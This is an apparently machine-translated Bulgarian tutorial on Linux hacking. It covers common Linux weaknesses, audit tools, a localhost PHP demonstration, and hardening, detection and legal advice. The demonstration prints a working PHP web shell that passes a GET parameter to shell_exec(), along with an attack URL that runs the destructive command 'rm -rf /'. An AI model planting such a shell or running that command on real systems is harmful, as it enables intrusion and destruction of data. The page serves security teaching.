Урок за хакване на Linux: Ubuntu Команди и инструменти
⚡ Умно обобщение
Хакването на Linux е практиката за намиране и използване на слабости в Linux системите и тази страница обяснява уязвимостите, които атакуващите целят, инструментите за одит, които се използват, и контролите, които защитават сървъра.

Linux е най-широко използваната сървърна операционна система, особено за уеб сървъри. Тя е с отворен код, което означава, че всеки може да прочете изходния код. Тази прозрачност е двупосочна: поддържащите я използват, за да намират и отстраняват бързо недостатъци, докато нападателите изучават същия код, търсейки слабости, които да използват. Хакването на Linux е практиката на използване на тези слабости, за да се получи неоторизиран достъп до система.
Разделите по-долу обхващат какво представлява Linux, уязвимостите в сигурността, които го засягат, и практически поглед върху хакерството с... Ubuntuи контрамерките, които можете да въведете.
Бърза бележка за Linux
Linux е операционна система с отворен код. Много дистрибуции са изградени върху нея, включително Red Hat Enterprise Linux, Федора, Дебиан и UbuntuТъй като изходният код е публикуван, изследователи, доставчици и атакуващи могат да го проверят. Атакуващите използват този достъп, за да търсят експлоатираеми недостатъци, като същевременно същата видимост позволява на поддържащите платформи да доставят корекции по-бързо, отколкото затворените платформи често успяват. Linux работи като операционна система за сървъри, настолни компютри, таблети или мобилни устройства.
Linux програмите могат да се управляват чрез графичен интерфейс или от командния ред. Работата с командния ред е по-бърза и по-прецизна от кликването през графичен потребителски интерфейс, поради което тестерите за сигурност, работещи върху дистрибуции като Kali Linux прекарват почти цялото си време в терминал. Следователно познаването на основните команди е практическа предпоставка.
Обърнете се към това Урок за Linux за основите и за Kali Linux настойнически за дистрибуцията, фокусирана върху сигурността, изградена върху тях.
Често срещани уязвимости в сигурността на Linux и вектори на атаки
Атаките срещу Linux рядко разчитат на екзотични експлойти. Телеметрията, публикувана през 2025 и 2026 г., показва, че повечето компромети... tracобратно към малък набор от повтарящи се слабости и познаването им ви казва къде да насочите първо защитните си усилия.
- Слаби или повторно използвани SSH идентификационни данни — опитите за груба сила и кражба на идентификационни данни срещу SSH, свързан с интернет, са причина за по-голямата част от враждебната активност, наблюдавана на крайните точки на Linux.
- Незакърпени недостатъци на ядрото и пакетите — екипът на ядрото на Linux стана орган за номериране на CVE през 2024 г., а отчетените CVE на ядрото са се увеличили от приблизително 290 през 2023 г. до над 3,500 през следващата година, така че натрупването на изоставания с пачове се натрупва бързо.
- Неправилна конфигурация — акаунти по подразбиране, ненужни демони, файлове с възможност за запис от целия свят и разрешителни sudo правила предоставят привилегии, за чието получаване не е необходима експлойт.
- Уязвимите уеб приложения — недостатъци, като например SQL инжекция и междусайтовото скриптиране позволява на атакуващия да достигне до сървъра чрез приложението, а не през операционната система. Уеб обвивките са най-често срещаният злонамерен артефакт, открит на компрометирани Linux сървъри.
- Грешки при ескалация на привилегии — локални недостатъци, които превръщат ограничен акаунт в root. Някои са оцелели неоткрити в ядрото повече от десетилетие преди разкриването им.
- Риск, свързан с веригата на доставки и зависимостта — пакети на трети страни, езикови библиотеки и изображения на контейнери изтеглят код, който никой от оперативния екип не е прегледал.
Нито едно от тези неща не изисква нападател, за да победи самия Linux. Анализите на проникванията през 2025 г. установиха, че приблизително четири от всеки пет не са включвали никакъв зловреден софтуер, а вместо това са разчитали на неправилна конфигурация и откраднати идентификационни данни.
Инструменти за хакване на Linux
Тестерите по сигурността и системните администратори използват едни и същи скенери: едната страна, за да открие слабости преди атакуващият, а другата, за да потвърди, че корекциите са валидни. Инструментите по-долу са най-често използваните за одит на Linux хост.
| Инструмент | Тип | Разрешително | Типична употреба в Linux |
| Nessus | Скенер за уязвимост | търговски | Сканира конфигурационни настройки, липсващи корекции и мрежови услуги в смесени среди. |
| Nmap | Мрежов и порт скенер | Отворен код | Идентифицира хостовете, работещи на сървър, услугите, които те предоставят, и кои портове са отворени. |
| Lynis | Одит и защита на хоста | Отворен код | Извършва одит на работеща система спрямо показатели за повишаване на ефективността и докладва за специфични стъпки за отстраняване на проблеми. |
| OpenVAS | Скенер за уязвимост | Отворен код | Сканиране за мрежови уязвимости, поддържано от Greenbone като част от неговото Community Edition. |
Списъкът не е изчерпателен; той дава представа за наличните инструменти за одит Ubuntu и други Linux системи. По-старите ръководства все още препоръчват SARA, Security Auditor's Research Assistant, но окончателното му издание датира от 2009 г. и сайтът на проекта му е офлайн, така че Линис и OpenVAS са поддържаните алтернативи.
Хакерска дейност: Хакнете a Ubuntu Linux система, използваща PHP
В този практически сценарий ще разгледаме как може да се достигне до Linux хост чрез уеб приложение, използвайки PHP като пример. Не се прилага атака срещу жива жертва. Ако искате да го изпробвате, инсталирайте LAMPP, Linux версията на XAMPP, на вашата машина.
PHP идва с две функции, които могат да се използват за изпълнение на команди на операционната система: exec() и shell_exec(). Функцията exec() връща последния ред от изхода на командата, докато shell_exec() връща целия резултат от командата като низ.
За демонстрационни цели, да предположим, че атакуващ успява да качи следния файл на уеб сървър.
<?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l'; echo "executing shell command:-> $cmd</br>"; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>
ТУК,
Горният скрипт приема командата от GET променливата с име cmd. Командата се изпълнява с помощта на shell_exec() и резултатът се връща в браузъра.
Горният код може да бъде използван чрез следното URL
http://localhost/cp/konsole.php?cmd=ls%20-l
ТУК,
- „…konsole.php?cmd=ls%20-l“ присвоява стойността ls –l на променливата cmd.
Командата на Ubuntu следователно сървърът се изпълнява като
shell_exec('ls -l') ;
Изпълнението на горния код на уеб сървър дава резултат, подобен на следния.
Изходът просто показва файловете в текущата директория и техните разрешения.
Сега да предположим, че атакуващият вместо това подаде следната команда.
rm -rf /
ТУК,
- „rm“ премахва файлове.
- „rf“ кара командата rm да се изпълнява в рекурсивен режим, изтривайки всички папки и файлове.
- „/“ указва на командата да започне изтриването от главната директория.
Атаката URL би изглеждало нещо подобно
http://localhost/cp/konsole.php?cmd=rm%20-rf%20/
Следователно един невалидиран параметър е достатъчен, за да предостави на атакуващия каквито и да е привилегии, притежавани от акаунта на уеб сървъра. Двата раздела, които следват, съществуват, за да предотвратят това и да го уловят, когато превенцията се провали.
Как да предотвратим хакерски атаки в Linux
Хакерството на Linux се възползва от уязвимостите в операционната система и в софтуера, работещ върху нея. Организацията може да приеме следните контроли, прилагани заедно, за да затвори повечето от описаните по-горе пропуски.
- Управление на пластирите — корекциите поправят грешките, които нападателите използват, за да компрометират системата. Дефинираната политика гарантира, че съответните актуализации се прилагат своевременно, а не винаги, когато някой се сети.
- Правилна конфигурация на ОС — деактивирайте неактивни потребителски акаунти и ненужни демони. Променете настройките по подразбиране, включително потребителски имена по подразбиране, пароли за споделени приложения и номера на портове по подразбиране.
- SSH втвърдяване — деактивирайте root вход и удостоверяване с парола, разрешайте само посочени потребители или групи и ограничавайте повторните опити за удостоверяване. Това затваря най-силно атакуваната входна точка в Linux.
- Най-малка привилегия — дайте на акаунтите и услугите само правата, от които се нуждаят, и ограничете sudo до конкретни команди, вместо общ администраторски достъп.
- Задължителен контрол на достъпа — запазете SELinux (семейство Red Hat) или AppArmor (Debian и Ubuntu) в режим на прилагане, така че компрометирана услуга да не може да достигне до останалата част от системата.
- Валидиране на входни данни — демонстрацията по-горе работи само защото данните от заявката достигат до shell функция. Никога не предавайте потребителски вход към exec() или shell_exec().
- Защитни стени и сегментиране — предоставяне на достъп само до портовете, от които услугата действително се нуждае, използвайки защитна стена и сегментиране на мрежата, за да се ограничи достъпът на компрометиран хост.
- Системи за откриване на проникване — такива инструменти могат да се използват за откриване на неоторизиран достъп до системата, а някои могат и да блокират опита.
- Тествани резервни копия — офлайн, възстановимите резервни копия превръщат разрушителна команда като горната в прекъсване, а не в трайна загуба.
Как да откриете компрометирана Linux система
Превенцията в крайна сметка се проваля, така че вторият въпрос е колко бързо бихте го забележили. Откриването в Linux зависи от събирането на правилните доказателства преди инцидент, а не след него.
- Регистриране на одит — рамката за одит на ядрото, auditd, записва използването на привилегии, достъпа до файлове и системните извиквания във форма, която компрометиран процес не може тихо да пренапише. Препраща тези лог файлове от хоста към централен колектор.
- Дневници за удостоверяване — поредица от неуспехи, последвани от единичен успех в /var/log/auth.log или /var/log/secure, е класическият метод за груба сила (brute-force).
- Неочаквани процеси и връзки — услуга за подслушване или изходяща връзка, за която никой не може да обясни, заслужава незабавно разследване.
- Мониторинг на целостта на файловете — инструменти, които хешират системни двоични файлове и конфигурационни файлове, маркират промени във файлове, които никога не трябва да се променят.
- Планирани задачи и елементи за стартиране — персистентността обикновено се осъществява в cron задачи, systemd модули или скриптове за профили на shell.
- Нови или променени акаунти — търсете непознати потребители, втори акаунт с UID 0 и SSH ключове, които никой не е добавил.
- Директории на уеб сървъра — тъй като уеб шеловете са най-често срещаният злонамерен файл, намиращ се на Linux сървъри, неочакваните скриптови файлове под уеб root директория заслужават специално внимание.
- Планирани одити — стартирайте инструмент за одит на хостове, като например Lynis, по график и третирайте всеки отчет като работен списък, а не като еднократно упражнение.
Ако откриете доказателства за компрометиране, изолирайте хоста, запазете лог файловете и образа на диска, преди да промените каквото и да било, и възстановете системата от известен добър носител, вместо да се опитвате да почиствате работеща система. Работата с доказателствата в тази работа е разгледана в цифрова съдебна медицина.
Правни и етични граници на хакерството в Linux
Всяка техника на тази страница е законна за практикуване на системи, които притежавате или имате писмено разрешение за тестване, и е незаконна почти навсякъде другаде. Горното упражнение умишлено е насочено към локална инсталация именно по тази причина.
- Писмено пълномощно — подписан обхват, договорен тестов прозорец и посочено лице за контакт са това, което отличава теста за проникване от престъплението. Устното одобрение не е достатъчно.
- Останете в обхвата — хостове, адресни диапазони и техники, които не са изброени, не са разрешени, дори когато са достъпни.
- Работете внимателно с данните — доказателствата, събрани по време на тест, все още съдържат реални лични данни и трябва да се съхраняват сигурно и да се унищожат впоследствие.
- Докладвайте отговорно — разкриване на констатациите на собственика и предоставяне на време за отстраняване на проблемите, преди публикуване на каквото и да било.
Правното излагане е реално: неоторизираният достъп до компютърна система е престъпление съгласно закони като Закона за компютърните измами и злоупотреби на САЩ и Закона за компютърните злоупотреби на Обединеното кралство. Ако искате да изградите кариера върху тези умения, поемете по признат път - сертифициране за сигурност плюс лаборатория, която притежавате, а не сървър на някой друг.

